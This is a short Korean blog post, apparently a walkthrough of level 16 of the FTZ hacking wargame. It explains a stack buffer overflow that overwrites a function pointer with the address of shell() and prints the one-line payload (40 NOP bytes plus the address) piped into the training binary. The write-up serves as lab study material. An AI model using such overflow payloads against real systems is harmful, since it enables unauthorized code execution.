System/FTZ2019. 3. 19. 06:31

▲ level16의 힌트 입니다. 함수포인터 call을 선언해 printit를 호출시켜 줍니다. 함수포인터의 주소값을 printit()가 아닌 shell()의 주소로 바꿔주면 되겠네요.


▲ esp-56 만큼 해 주며 시작합니다. 마지막 부분에 ebp-16위치에 있는 주소값을 call 해 주는 모습이 보이네요. 따라서 이전문제와 비슷하지만 하드코딩값 주소가 아닌 shell()의 주소값을 넣어주면 되겠습니다.


▲ shell()함수의 시작주소는 0x080484d0 입니다. 따라서 공격은 NOP*40 + 0x080484d0 이 되겠네요.


▲ (python -c 'print "\x90"*40+"\xd0\x84\x04\x08"';cat)|./attackme



'System > FTZ' 카테고리의 다른 글

[FTZ school] level 18  (0) 2019.03.19
[FTZ school] level 17  (0) 2019.03.19
[FTZ school] level 15  (0) 2019.03.19
[FTZ school] level 14  (0) 2019.03.19
[FTZ school] level 13  (0) 2019.03.19
Posted by BadSchool